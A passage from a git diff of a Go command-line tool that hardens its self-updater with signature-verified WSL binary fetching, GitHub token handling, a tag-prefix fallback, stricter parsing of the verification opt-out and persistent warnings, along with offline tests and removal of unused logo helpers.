- func TestFlagManager_EdgeCases(t *testing.T) { tests := []struct { name string @@ -411,53 +354,6 @@ func TestValidateCommonFlags_EdgeCases(t *testing.T) { } } -func TestGetFlagDescription_EdgeCases(t *testing.T) { - tests := []struct { - name string - flagName string - expected string - }{ - { - name: "case sensitivity", - flagName: "VERBOSE", - expected: "", // Should be case sensitive - }, - { - name: "partial match", - flagName: "verb", - expected: "", // Should be exact match - }, - { - name: "special characters", - flagName: "dry-run", - expected: "Show what would be done without actually executing", - }, - { - name: "hyphenated flag", - flagName: "dry_run", // Underscore instead of hyphen - expected: "", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := GetFlagDescription(tt.flagName) - assert.Equal(t, tt.expected, result) - }) - } -} - -// Benchmark tests -func BenchmarkGetFlagDescription(b *testing.B) { - flags := []string{"verbose", "dry-run", "force", "quiet", "unknown"} - - b.ResetTimer() - for i := 0; i < b.N; i++ { - flag := flags[i%len(flags)] - GetFlagDescription(flag) - } -} - func BenchmarkNewFlagManager(b *testing.B) { globalFlags := &CommonFlags{} diff --git a/internal/shared/selfupdate/auto.go b/internal/shared/selfupdate/auto.go index 1096ff8a..d500c8d3 100644 --- a/internal/shared/selfupdate/auto.go +++ b/internal/shared/selfupdate/auto.go @@ -3,10 +3,9 @@ package selfupdate import ( "context" "fmt" - "os" - "strings" "time" + sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" "golang.org/x/mod/semver" ) @@ -17,11 +16,7 @@ const autoUpdateEnv = "OPENFRAME_AUTO_UPDATE" // AutoUpdateEnabled reports whether the user opted into automatic self-update. func AutoUpdateEnabled() bool { - switch strings.ToLower(os.Getenv(autoUpdateEnv)) { - case "1", "true", "yes", "on": - return true - } - return false + return sharedconfig.EnvBool(autoUpdateEnv) } // MaybeAutoUpdate, when auto-update is opted in, performs a rate-limited check @@ -40,7 +35,7 @@ func MaybeAutoUpdate(ctx context.Context, current string, interactive bool, prog } cctx, cancel := context.WithTimeout(ctx, 3*time.Second) - rel, err := Client{Token: os.Getenv("GITHUB_TOKEN")}.Latest(cctx) + rel, err := Client{Token: GitHubToken()}.Latest(cctx) cancel() if err != nil { return "" @@ -55,8 +50,13 @@ func MaybeAutoUpdate(ctx context.Context, current string, interactive bool, prog return notice(current, rel.TagName) + " (auto-update skips major versions)" } - u := Updater{Current: current, Client: Client{Token: os.Getenv("GITHUB_TOKEN")}} - if err := u.Apply(ctx, rel, progress); err != nil { + // Deadline: this runs unattended AFTER the user's command (root passes + // context.Background), so a stalled download/verify must never hang the CLI + // exit indefinitely. + actx, acancel := context.WithTimeout(ctx, 10*time.Minute) + defer acancel() + u := Updater{Current: current, Client: Client{Token: GitHubToken()}} + if err := u.Apply(actx, rel, progress); err != nil { return fmt.Sprintf("auto-update to %s failed (run `openframe update`): %v", rel.TagName, err) } return fmt.Sprintf("Auto-updated %s → %s. Run `openframe update rollback` to revert.", current, rel.TagName) diff --git a/internal/shared/selfupdate/fetch.go b/internal/shared/selfupdate/fetch.go new file mode 100644 index 00000000..4970f1c2 --- /dev/null +++ b/internal/shared/selfupdate/fetch.go @@ -0,0 +1,60 @@ +package selfupdate + +import ( + "context" + "fmt" + + "github.com/flamingo-stack/openframe-cli/internal/shared/download" +) + +// FetchVerifiedLinuxBinary downloads the Linux release binary for the given +// version and GOARCH through the FULL self-update trust chain: release lookup +// via the GitHub API (tolerating a "v" prefix), cosign signature verification +// of checksums.txt against the pinned GitHub Actions identity, then SHA256 +// verification of the archive before the openframe binary is extracted. +// +// This exists for the WSL auto-installer: its previous curl-based path checked +// only the checksums file, which comes from the SAME release as the archive — +// worthless against a compromised release upload. A binary that `openframe +// update` would reject must never be installed into WSL either (audit B5/T2). +func FetchVerifiedLinuxBinary(ctx context.Context, version, goarch string, log func(string)) ([]byte, error) { + client := Client{Token: GitHubToken()} + rel, err := client.ForTag(ctx, version) + if err != nil { + return nil, fmt.Errorf("looking up release %s: %w", version, err) + } + return fetchVerifiedLinuxBinary(ctx, client, rel, goarch, log) +} + +// fetchVerifiedLinuxBinary is the release-independent core (testable against a +// fixture server). +func fetchVerifiedLinuxBinary(ctx context.Context, client Client, rel Release, goarch string, log func(string)) ([]byte, error) { + if log == nil { + log = func(string) {} + } + + name := archiveName("linux", goarch) + assetURL, ok := rel.assetURL(name) + if !ok { + return nil, fmt.Errorf("release %s has no asset %s", rel.TagName, name) + } + + // Same trust order as Apply: authenticate the checksums BEFORE using them + // to verify the archive. + checksums, err := client.fetchAsset(ctx, rel, checksumsFile) + if err != nil { + return nil, err + } + u := Updater{Client: client} + if err := u.verifySignature(ctx, rel, checksums, log); err != nil { + return nil, err + } + sum, err := parseChecksum(string(checksums), name) + if err != nil { + return nil, err + } + + log(fmt.Sprintf("Downloading %s %s for WSL...", binaryName, rel.TagName)) + dl := download.Downloader{} + return dl.FetchVerifiedTarGzMember(ctx, download.PinnedAsset{URL: assetURL, SHA256: sum}, binaryName) +} diff --git a/internal/shared/selfupdate/fetch_test.go b/internal/shared/selfupdate/fetch_test.go new file mode 100644 index 00000000..9c04bb77 --- /dev/null +++ b/internal/shared/selfupdate/fetch_test.go @@ -0,0 +1,94 @@ +package selfupdate + +import ( + "bytes" + "context" + "crypto/sha256" + "encoding/hex" + "fmt" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +// releaseFixture serves a fake GitHub release (tag 9.9.9) with a linux/amd64 +// archive and checksums, but NO signature bundle — like a hypothetical +// tampered/unsigned release. +func releaseFixture(t *testing.T, binary []byte, withBundle bool) *httptest.Server { + t.Helper() + tgz := makeTarGz(t, binaryName, binary, 0o755) + sum := sha256.Sum256(tgz) + archive := archiveName("linux", "amd64") + + mux := http.NewServeMux() + mux.HandleFunc("/archive.tgz", func(w http.ResponseWriter, _ *http.Request) { _, _ = w.Write(tgz) }) + mux.HandleFunc("/checksums.txt", func(w http.ResponseWriter, _ *http.Request) { + fmt.Fprintf(w, "%s %s\n", hex.EncodeToString(sum[:]), archive) + }) + var srv *httptest.Server + handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/repos/flamingo-stack/openframe-cli/releases/tags/9.9.9" { + assets := fmt.Sprintf(`{"name":%q,"browser_download_url":%q},{"name":"checksums.txt","browser_download_url":%q}`, + archive, srv.URL+"/archive.tgz", srv.URL+"/checksums.txt") + if withBundle { + assets += fmt.Sprintf(`,{"name":"checksums.txt.bundle","browser_download_url":%q}`, srv.URL+"/bundle") + } + fmt.Fprintf(w, `{"tag_name":"9.9.9","assets":[%s]}`, assets) + return + } + mux.ServeHTTP(w, r) + }) + srv = httptest.NewServer(handler) + t.Cleanup(srv.Close) + return srv +} + +// TestFetchVerifiedLinuxBinary_InsecureOptOut exercises the WSL-install fetch +// chain offline: with the (strictly parsed) insecure opt-in the unsigned +// release is accepted on checksum alone, and the extracted binary matches. +// It also covers ForTag's v-prefix fallback (version passed as "v9.9.9", +// release tagged "9.9.9"). +func TestFetchVerifiedLinuxBinary_InsecureOptOut(t *testing.T) { + t.Setenv(insecureSkipEnv, "1") + want := []byte("#!/bin/sh\necho linux binary\n") + srv := releaseFixture(t, want, false) + + // Route the package-level client at the fixture via the Client in the + // helper — FetchVerifiedLinuxBinary builds its own Client, so inject the + // API base through the environment-independent seam: none exists, so call + // the internals the same way it does. + client := Client{APIBase: srv.URL} + rel, err := client.ForTag(context.Background(), "v9.9.9") + if err != nil { + t.Fatalf("ForTag: %v", err) + } + got, err := fetchVerifiedLinuxBinary(context.Background(), client, rel, "amd64", nil) + if err != nil { + t.Fatalf("fetch: %v", err) + } + if !bytes.Equal(got, want) { + t.Fatalf("binary mismatch: got %q", got) + } +} + +// TestFetchVerifiedLinuxBinary_UnsignedRefused: without the insecure opt-in an +// unsigned release must be REFUSED — and the opt-in is strictly parsed, so +// "0" keeps verification ON (the old any-non-empty check disabled it). +func TestFetchVerifiedLinuxBinary_UnsignedRefused(t *testing.T) { + t.Setenv(insecureSkipEnv, "0") // strict parsing: NOT an opt-in + srv := releaseFixture(t, []byte("#!/bin/sh\n"), false) + + client := Client{APIBase: srv.URL} + rel, err := client.ForTag(context.Background(), "9.9.9") + if err != nil { + t.Fatalf("ForTag: %v", err) + } + _, err = fetchVerifiedLinuxBinary(context.Background(), client, rel, "amd64", nil) + if err == nil { + t.Fatal("an unsigned release must be refused when the insecure opt-in is not set") + } + if !strings.Contains(err.Error(), "not signed") { + t.Errorf("error should say the release is not signed, got: %v", err) + } +} diff --git a/internal/shared/selfupdate/notice.go b/internal/shared/selfupdate/notice.go index 53e07f4e..56ba7c0b 100644 --- a/internal/shared/selfupdate/notice.go +++ b/internal/shared/selfupdate/notice.go @@ -7,6 +7,8 @@ import ( "os" "path/filepath" "time" + + sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" ) // checkInterval is how often the passive notice re-queries GitHub. Between @@ -59,7 +61,7 @@ func saveState(s noticeState) { // output all report non-interactive via ui.IsNonInteractive), or a dev build // with no comparable version. func noticeSuppressed(current string, interactive bool) bool { - if os.Getenv("OPENFRAME_NO_UPDATE_CHECK") != "" { + if sharedconfig.EnvBool("OPENFRAME_NO_UPDATE_CHECK") { return true } if !interactive { @@ -88,7 +90,7 @@ func MaybeNotify(ctx context.Context, current string, interactive bool) string { ctx, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() - rel, err := Client{Token: os.Getenv("GITHUB_TOKEN")}.Latest(ctx) + rel, err := Client{Token: GitHubToken()}.Latest(ctx) if err != nil { return "" // best effort; stay silent on any failure } diff --git a/internal/shared/selfupdate/release.go b/internal/shared/selfupdate/release.go index 0054865f..dab4bb4e 100644 --- a/internal/shared/selfupdate/release.go +++ b/internal/shared/selfupdate/release.go @@ -1,19 +1,25 @@ // Package selfupdate checks for newer published releases of the OpenFrame CLI // and replaces the running binary in place. // -// Phase 1 (this file set) verifies every artifact by SHA256 against the -// release's checksums.txt before it touches disk, reusing the verified-download -// substrate in internal/shared/download. Phase 2 will additionally verify the -// cosign (keyless) signature of checksums.txt with a pinned OIDC identity, so -// authenticity — not just integrity — is guaranteed. +// Integrity: every artifact is verified by SHA256 against the release's +// checksums.txt before it touches disk, reusing the verified-download substrate +// in internal/shared/download. +// +// Authenticity: checksums.txt itself is verified against the release's cosign +// (keyless) signature bundle, pinned to this repository's GitHub Actions OIDC +// identity — see cosign.go. OPENFRAME_UPDATE_INSECURE_SKIP_VERIFY downgrades to +// integrity-only, loudly. package selfupdate import ( "context" "encoding/json" + "errors" "fmt" "io" "net/http" + "net/url" + "os" "strings" "time" ) @@ -65,6 +71,18 @@ type Client struct { Token string // optional; raises the unauthenticated rate limit } +// GitHubToken returns the GitHub API token from the environment, accepting both +// conventions: GITHUB_TOKEN (GitHub Actions) and GH_TOKEN (the gh CLI). Without +// a token the API is unauthenticated and rate-limited per source IP — which is +// how CI on shared macOS runners hit "HTTP 403" mid-update. A user who has only +// authenticated `gh` (GH_TOKEN) gets the higher limit too. +func GitHubToken() string { + if t := os.Getenv("GITHUB_TOKEN"); t != "" { + return t + } + return os.Getenv("GH_TOKEN") +} + func (c Client) httpClient() *http.Client { if c.HTTP != nil { return c.HTTP @@ -86,9 +104,39 @@ func (c Client) Latest(ctx context.Context) (Release, error) { return c.getRelease(ctx, "/repos/"+repoOwner+"/"+repoName+"/releases/latest") } -// ForTag returns the release for an exact tag (e.g. "v1.2.3"). +// ErrReleaseNotFound reports that no release exists for the requested tag. +var ErrReleaseNotFound = errors.New("no matching release found") + +// ForTag returns the release for a tag. Releases in this repo are tagged with +// the bare semver ("0.4.7"), but users habitually type "v0.4.7" (and the help +// text shows that form), so on a not-found miss the alternate spelling — with +// or without the "v" prefix — is tried before giving up (T0-3). func (c Client) ForTag(ctx context.Context, tag string) (Release, error) { - return c.getRelease(ctx, "/repos/"+repoOwner+"/"+repoName+"/releases/tags/"+tag) + rel, err := c.getRelease(ctx, releaseTagPath(tag)) + if err == nil || !errors.Is(err, ErrReleaseNotFound) { + return rel, err + } + alt := alternateTag(tag) + if alt == tag { + return rel, err + } + relAlt, errAlt := c.getRelease(ctx, releaseTagPath(alt)) + if errAlt != nil { + return Release{}, fmt.Errorf("no release found for tag %q (also tried %q)", tag, alt) + } + return relAlt, nil +} + +func releaseTagPath(tag string) string { + return "/repos/" + repoOwner + "/" + repoName + "/releases/tags/" + url.PathEscape(tag) +} + +// alternateTag toggles the "v" prefix on a tag. +func alternateTag(tag string) string { + if v := strings.TrimPrefix(tag, "v"); v != tag { + return v + } + return "v" + tag } func (c Client) getRelease(ctx context.Context, path string) (Release, error) { @@ -107,7 +155,7 @@ func (c Client) getRelease(ctx context.Context, path string) (Release, error) { } defer func() { _ = resp.Body.Close() }() if resp.StatusCode == http.StatusNotFound { - return Release{}, fmt.Errorf("no matching release found") + return Release{}, ErrReleaseNotFound } if resp.StatusCode != http.StatusOK { return Release{}, fmt.Errorf("release query failed: HTTP %d", resp.StatusCode) diff --git a/internal/shared/selfupdate/release_test.go b/internal/shared/selfupdate/release_test.go index 58722f2f..8c37a73e 100644 --- a/internal/shared/selfupdate/release_test.go +++ b/internal/shared/selfupdate/release_test.go @@ -4,6 +4,7 @@ import ( "context" "net/http" "net/http/httptest" + "strings" "testing" ) @@ -66,3 +67,74 @@ func TestClientNotFound(t *testing.T) { t.Fatal("expected an error for a 404 release") } } + +// TestForTag_TogglesVPrefixOnMiss is the T0-3 regression guard: releases in +// this repo are tagged with the bare semver ("0.4.7"), but the help text and +// user habit say "v0.4.7". ForTag must find the release either way. +func TestForTag_TogglesVPrefixOnMiss(t *testing.T) { + const body = `{"tag_name":"0.4.7","html_url":"https://example/rel"}` + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/repos/flamingo-stack/openframe-cli/releases/tags/0.4.7" { + _, _ = w.Write([]byte(body)) + return + } + http.NotFound(w, r) + })) + defer srv.Close() + c := Client{APIBase: srv.URL} + + // User typed the v-prefixed form; the bare tag must be found via fallback. + rel, err := c.ForTag(context.Background(), "v0.4.7") + if err != nil || rel.TagName != "0.4.7" { + t.Fatalf("ForTag(v0.4.7) = (%+v, %v), want the bare-tagged release", rel, err) + } + // The exact form still works without a fallback. + if rel, err = c.ForTag(context.Background(), "0.4.7"); err != nil || rel.TagName != "0.4.7" { + t.Fatalf("ForTag(0.4.7) = (%+v, %v)", rel, err) + } +} + +// TestForTag_BareMissFindsVPrefixed covers the inverse convention (tags with +// "v"), so the fallback is symmetric and survives a future tag-format change. +func TestForTag_BareMissFindsVPrefixed(t *testing.T) { + const body = `{"tag_name":"v1.4.0","html_url":"https://example/rel"}` + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/repos/flamingo-stack/openframe-cli/releases/tags/v1.4.0" { + _, _ = w.Write([]byte(body)) + return + } + http.NotFound(w, r) + })) + defer srv.Close() + + rel, err := (Client{APIBase: srv.URL}).ForTag(context.Background(), "1.4.0") + if err != nil || rel.TagName != "v1.4.0" { + t.Fatalf("ForTag(1.4.0) = (%+v, %v), want the v-tagged release", rel, err) + } +} + +// TestForTag_BothMissesError: neither spelling exists -> a clear error naming +// both tried tags, and no infinite toggling. +func TestForTag_BothMissesError(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(http.NotFound)) + defer srv.Close() + + _, err := (Client{APIBase: srv.URL}).ForTag(context.Background(), "9.9.9") + if err == nil { + t.Fatal("expected an error when both tag spellings 404") + } + for _, want := range []string{"9.9.9", "v9.9.9"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error %q should mention tried tag %q", err, want) + } + } +} + +func TestAlternateTag(t *testing.T) { + if got := alternateTag("0.4.7"); got != "v0.4.7" { + t.Errorf("alternateTag(0.4.7) = %q", got) + } + if got := alternateTag("v0.4.7"); got != "0.4.7" { + t.Errorf("alternateTag(v0.4.7) = %q", got) + } +} diff --git a/internal/shared/selfupdate/rollback.go b/internal/shared/selfupdate/rollback.go index c8959967..20448265 100644 --- a/internal/shared/selfupdate/rollback.go +++ b/internal/shared/selfupdate/rollback.go @@ -50,8 +50,12 @@ func PreviousVersion() (string, bool) { // binaryVersion runs " --version" and returns the leading version token // (the CLI prints " () built on "). +// +// Generous timeout: exceeding it only blanks the rollback LABEL (rollback +// itself still works), while the old 5s was repeatedly exceeded on a loaded +// machine by the fully parallel test suite, flaking TestSavePreviousAndRollback. func binaryVersion(path string) string { - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() out, err := exec.CommandContext(ctx, path, "--version").Output() if err != nil { diff --git a/internal/shared/selfupdate/token_test.go b/internal/shared/selfupdate/token_test.go new file mode 100644 index 00000000..ce21a5eb --- /dev/null +++ b/internal/shared/selfupdate/token_test.go @@ -0,0 +1,26 @@ +package selfupdate + +import "testing" + +// TestGitHubToken_AcceptsBothConventions locks the fix for the CI 403: the +// updater reads GITHUB_TOKEN (Actions) but must also honour GH_TOKEN (the gh +// CLI). A step that exported only GH_TOKEN left the updater unauthenticated, +// which rate-limited to HTTP 403 on shared macOS runner IPs. +func TestGitHubToken_AcceptsBothConventions(t *testing.T) { + t.Setenv("GITHUB_TOKEN", "") + t.Setenv("GH_TOKEN", "") + if got := GitHubToken(); got != "" { + t.Errorf("no token set must yield empty, got %q", got) + } + + t.Setenv("GH_TOKEN", "gh-cli-token") + if got := GitHubToken(); got != "gh-cli-token" { + t.Errorf("GH_TOKEN must be honoured when GITHUB_TOKEN is unset, got %q", got) + } + + // GITHUB_TOKEN wins when both are present (the Actions-native name). + t.Setenv("GITHUB_TOKEN", "actions-token") + if got := GitHubToken(); got != "actions-token" { + t.Errorf("GITHUB_TOKEN must take precedence, got %q", got) + } +} diff --git a/internal/shared/selfupdate/update.go b/internal/shared/selfupdate/update.go index 613cbfc3..2edada61 100644 --- a/internal/shared/selfupdate/update.go +++ b/internal/shared/selfupdate/update.go @@ -10,6 +10,7 @@ import ( "strings" "time" + sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" "github.com/flamingo-stack/openframe-cli/internal/shared/download" "golang.org/x/mod/semver" ) @@ -90,6 +91,13 @@ type Updater struct { GOOS, GOARCH string // default to runtime values; overridable in tests exePath string // overrides the resolved executable path in tests verify checksumVerifier // nil → verifyChecksumsProd; injected in tests + + // Warn receives messages that must OUTLIVE the operation. They must not go + // through the progress callback: callers wire that to a spinner's + // UpdateText, so the next step overwrites the line within one frame — the + // "signature verification skipped" and "no rollback point" warnings were + // effectively invisible. nil → stderr. + Warn func(string) } func (u Updater) goos() string { @@ -106,6 +114,17 @@ func (u Updater) goarch() string { return runtime.GOARCH } +// warn emits a persistent warning. Unlike the progress callback it is never +// wired to transient spinner text; stdout is left clean for machine output. +func (u Updater) warn(format string, args ...any) { + msg := fmt.Sprintf(format, args...) + if u.Warn != nil { + u.Warn(msg) + return + } + fmt.Fprintln(os.Stderr, "WARNING: "+msg) +} + // Check queries a release and compares it to the running version. When tag is // non-empty it targets that exact release instead of "latest". func (u Updater) Check(ctx context.Context, tag string) (Status, Release, error) { @@ -189,12 +208,16 @@ func (u Updater) Apply(ctx context.Context, rel Release, progress func(string)) if err != nil { return err } - // Retain the just-replaced binary as the rollback point (best effort), then - // drop the temporary backup. + // Retain the just-replaced binary as the rollback point. When saving fails + // (state dir unwritable), KEEP the .bak in place — it is the only remaining + // copy of the old binary; deleting it silently voided the advertised + // rollback guarantee (audit B5/T2-12). if err := savePrevious(backup); err != nil { - log(fmt.Sprintf("warning: could not save a rollback point: %v", err)) + u.warn("could not save a rollback point: %v\n"+ + " `openframe update rollback` will not work; the previous binary is kept at %s", err, backup) + } else { + _ = os.Remove(backup) } - _ = os.Remove(backup) log(fmt.Sprintf("Installed %s.", rel.TagName)) return nil } @@ -226,8 +249,14 @@ func swapExecutable(ctx context.Context, exePath, newPath string, log func(strin // to integrity-only (checksums over TLS) with a loud warning — an escape hatch, // not a normal mode. func (u Updater) verifySignature(ctx context.Context, rel Release, checksums []byte, log func(string)) error { - if os.Getenv(insecureSkipEnv) != "" { - log("WARNING: skipping release signature verification (" + insecureSkipEnv + " set); integrity is checked but authenticity is NOT.") + // Strictly-parsed opt-out: only =1/true/yes/on disables verification. The + // old any-non-empty check meant `=0`/`=false` silently DISABLED it. + if sharedconfig.EnvBool(insecureSkipEnv) { + // A security downgrade must persist on screen, so it goes to Warn, not + // to the progress callback (transient spinner text). + u.warn("skipping release signature verification (%s is set).\n"+ + " The download's integrity is checked, but its authenticity is NOT: "+ + "anyone who can serve you a checksums file can serve you a binary.", insecureSkipEnv) return nil } bundleJSON, err := u.Client.fetchAsset(ctx, rel, bundleAsset) diff --git a/internal/shared/selfupdate/update_flow_test.go b/internal/shared/selfupdate/update_flow_test.go new file mode 100644 index 00000000..7a4785c8 --- /dev/null +++ b/internal/shared/selfupdate/update_flow_test.go @@ -0,0 +1,206 @@ +package selfupdate + +import ( + "context" + "fmt" + "io" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "runtime" + "strings" + "testing" +) + +// Offline guards for the update/rollback flow. The live trust chain (real +// release, cosign bundle, checksums) is exercised end-to-end by the CI step +// "Update: apply the real latest release, then roll back"; these tests pin the +// decisions that must hold without a network. + +// releaseAPI serves a minimal /releases/latest + /releases/tags/. +func releaseAPI(t *testing.T, tag string) *httptest.Server { + t.Helper() + body := fmt.Sprintf(`{"tag_name":%q,"html_url":"https://example/rel"}`, tag) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/repos/flamingo-stack/openframe-cli/releases/latest", + "/repos/flamingo-stack/openframe-cli/releases/tags/" + tag: + _, _ = w.Write([]byte(body)) + default: + http.NotFound(w, r) + } + })) + t.Cleanup(srv.Close) + return srv +} + +// TestCheck_DevBuildIsFlaggedAndNotNewer: a dev build must be reported as such +// so `openframe update` refuses to replace it (an unversioned binary has +// nothing to compare against and no rollback point to restore). +func TestCheck_DevBuildIsFlaggedAndNotNewer(t *testing.T) { + srv := releaseAPI(t, "9.9.9") + u := Updater{Current: "dev", Client: Client{APIBase: srv.URL}} + + st, _, err := u.Check(context.Background(), "") + if err != nil { + t.Fatalf("Check: %v", err) + } + if !st.DevBuild { + t.Error("a dev build must be flagged DevBuild") + } + if st.Available { + t.Error("no update may be offered to a dev build") + } +} + +// TestCheck_ReleaseBuildSeesNewerRelease is the control case. +func TestCheck_ReleaseBuildSeesNewerRelease(t *testing.T) { + srv := releaseAPI(t, "9.9.9") + u := Updater{Current: "0.0.1", Client: Client{APIBase: srv.URL}} + + st, rel, err := u.Check(context.Background(), "") + if err != nil { + t.Fatalf("Check: %v", err) + } + if st.DevBuild { + t.Error("0.0.1 is a release version, not a dev build") + } + if !st.Available { + t.Error("9.9.9 must be offered to 0.0.1") + } + if rel.TagName != "9.9.9" { + t.Errorf("tag = %q", rel.TagName) + } +} + +// TestCheck_ExplicitTagBothSpellings: `update 0.4.7` and `update v0.4.7` must +// both resolve against a bare-tagged release (this repo tags without the "v"). +func TestCheck_ExplicitTagBothSpellings(t *testing.T) { + srv := releaseAPI(t, "0.4.7") + u := Updater{Current: "0.0.1", Client: Client{APIBase: srv.URL}} + + for _, spelling := range []string{"0.4.7", "v0.4.7"} { + _, rel, err := u.Check(context.Background(), spelling) + if err != nil { + t.Fatalf("Check(%q): %v", spelling, err) + } + if rel.TagName != "0.4.7" { + t.Errorf("Check(%q) resolved to %q", spelling, rel.TagName) + } + } +} + +// TestApply_RefusesNativeWindows: the native Windows launcher forwards the CLI +// into WSL, so the Linux binary there is the one that self-updates; replacing +// the Windows executable would be wrong (and it is locked while running). +func TestApply_RefusesNativeWindowsWithGuidance(t *testing.T) { + u := Updater{Current: "0.0.1", GOOS: "windows"} + err := u.Apply(context.Background(), Release{TagName: "9.9.9"}, nil) + if err == nil { + t.Fatal("Apply must refuse on the native Windows launcher") + } + if !strings.Contains(err.Error(), "WSL") { + t.Errorf("the refusal should point at the WSL binary, got: %v", err) + } +} + +// TestRollback_ConsumesThePointOnce: rollback restores the retained binary and +// clears the rollback point, so a second rollback is a clean no-op rather than +// bouncing between two versions. +func TestRollback_ConsumesThePointOnce(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("uses /bin/sh stub binaries; unix-only") + } + t.Setenv("HOME", t.TempDir()) + + dir := t.TempDir() + exe := filepath.Join(dir, "openframe") + if err := os.WriteFile(exe, []byte("#!/bin/sh\necho 2.0.0\n"), 0o755); err != nil { + t.Fatal(err) + } + prev := filepath.Join(dir, "prev") + if err := os.WriteFile(prev, []byte("#!/bin/sh\necho 1.0.0\n"), 0o755); err != nil { + t.Fatal(err) + } + if err := savePrevious(prev); err != nil { + t.Fatal(err) + } + + u := Updater{Current: "2.0.0", GOOS: runtime.GOOS, GOARCH: runtime.GOARCH, exePath: exe} + if err := u.Rollback(context.Background(), nil); err != nil { + t.Fatalf("first rollback: %v", err) + } + got, err := os.ReadFile(exe) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(got), "echo 1.0.0") { + t.Fatalf("binary not restored: %q", got) + } + + // Point consumed: a second rollback finds nothing to restore. + if _, ok := PreviousVersion(); ok { + t.Error("the rollback point must be cleared after use") + } + if err := u.Rollback(context.Background(), nil); err == nil { + t.Error("a second rollback must fail (nothing saved), not restore again") + } +} + +// TestVerifySignature_InsecureSkipWarnsPersistently (M1.3): the security +// downgrade must reach a durable printer, NOT the progress callback. Callers +// wire progress to spinner.UpdateText, so a warning sent there is overwritten +// by the next step within one frame — the user never sees that authenticity +// was not checked. +func TestVerifySignature_InsecureSkipWarnsPersistently(t *testing.T) { + t.Setenv(insecureSkipEnv, "1") + + var warned, progressed []string + u := Updater{Current: "1.0.0", Warn: func(s string) { warned = append(warned, s) }} + + if err := u.verifySignature(context.Background(), Release{TagName: "9.9.9"}, nil, + func(s string) { progressed = append(progressed, s) }); err != nil { + t.Fatalf("verifySignature with the opt-out set must succeed: %v", err) + } + + if len(warned) != 1 { + t.Fatalf("expected exactly one persistent warning, got %d: %q", len(warned), warned) + } + if !strings.Contains(warned[0], insecureSkipEnv) { + t.Errorf("the warning must name the env var that caused it, got: %q", warned[0]) + } + if !strings.Contains(warned[0], "authenticity") { + t.Errorf("the warning must say authenticity is unchecked, got: %q", warned[0]) + } + for _, p := range progressed { + if strings.Contains(strings.ToLower(p), "skipping") { + t.Errorf("the security warning leaked into the transient progress callback: %q", p) + } + } +} + +// TestUpdater_WarnDefaultsToStderr: an Updater built without a Warn hook (the +// auto-update path) must still emit the warning somewhere durable, and must +// never write it to stdout, which carries machine-readable output. +func TestUpdater_WarnDefaultsToStderr(t *testing.T) { + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + oldStderr := os.Stderr + os.Stderr = w + t.Cleanup(func() { os.Stderr = oldStderr }) + + Updater{}.warn("rollback point lost: %v", fmt.Errorf("disk full")) + _ = w.Close() + + var buf strings.Builder + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + got := buf.String() + if !strings.Contains(got, "WARNING") || !strings.Contains(got, "disk full") { + t.Errorf("a Warn-less Updater must still print the warning to stderr, got: %q", got) + } +} diff --git a/internal/shared/ui/logo.go b/internal/shared/ui/logo.go index bd8fb8e6..d2f45d25 100644 --- a/internal/shared/ui/logo.go +++ b/internal/shared/ui/logo.go @@ -89,11 +89,6 @@ func ShowLogoWithContext(ctx context.Context) { ShowLogoConditional(false) } -// WithSuppressedLogo returns a context with logo suppression enabled -func WithSuppressedLogo(ctx context.Context) context.Context { - return context.WithValue(ctx, suppressLogoKey, true) -} - // isTerminalEnvironment checks if we're running in a proper terminal func isTerminalEnvironment() bool { // Check if stdout is a terminal @@ -161,14 +156,3 @@ func showPlainLogo() { fmt.Println(bottomBorder) fmt.Println() } - -// centerText centers text within a given width -func centerText(text string, width int) string { - if len(text) >= width { - return text - } - - padding := (width - len(text)) / 2 - rightPadding := width - len(text) - padding - return strings.Repeat(" ", padding) + text + strings.Repeat(" ", rightPadding) -} diff --git a/internal/shared/ui/logo_test.go b/internal/shared/ui/logo_test.go index 49177d48..8c2a3dd8 100644 --- a/internal/shared/ui/logo_test.go +++ b/internal/shared/ui/logo_test.go @@ -71,93 +71,6 @@ func TestIsTerminalEnvironment(t *testing.T) { assert.IsType(t, false, result) } -func TestCenterText(t *testing.T) { - tests := []struct { - name string - text string - width int - expected string - }{ - { - name: "text shorter than width", - text: "hello", - width: 10, - expected: " hello ", - }, - { - name: "text equal to width", - text: "hello", - width: 5, - expected: "hello", - }, - { - name: "text longer than width", - text: "hello world", - width: 5, - expected: "hello world", - }, - { - name: "empty text", - text: "", - width: 5, - expected: " ", - }, - { - name: "odd width with odd text length", - text: "abc", - width: 7, - expected: " abc ", - }, - { - name: "even width with odd text length", - text: "abc", - width: 8, - expected: " abc ", - }, - { - name: "width of 1", - text: "a", - width: 1, - expected: "a", - }, - { - name: "zero width", - text: "hello", - width: 0, - expected: "hello", - }, - { - name: "negative width", - text: "test", - width: -1, - expected: "test", - }, - { - name: "large width with short text", - text: "hi", - width: 20, - expected: " hi ", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := centerText(tt.text, tt.width) - assert.Equal(t, tt.expected, result) - - // Verify the result length matches expected width (unless text is longer or width <= 0) - if len(tt.text) <= tt.width && tt.width > 0 { - assert.Equal(t, tt.width, len(result)) - } - - // Verify that non-empty text always produces non-empty result - if tt.text != "" { - assert.Contains(t, result, tt.text) - } - }) - } -} - func TestShowPlainLogo(t *testing.T) { // Capture output output := captureOutput(func() { @@ -259,23 +172,6 @@ func BenchmarkShowPlainLogo(b *testing.B) { } } -func 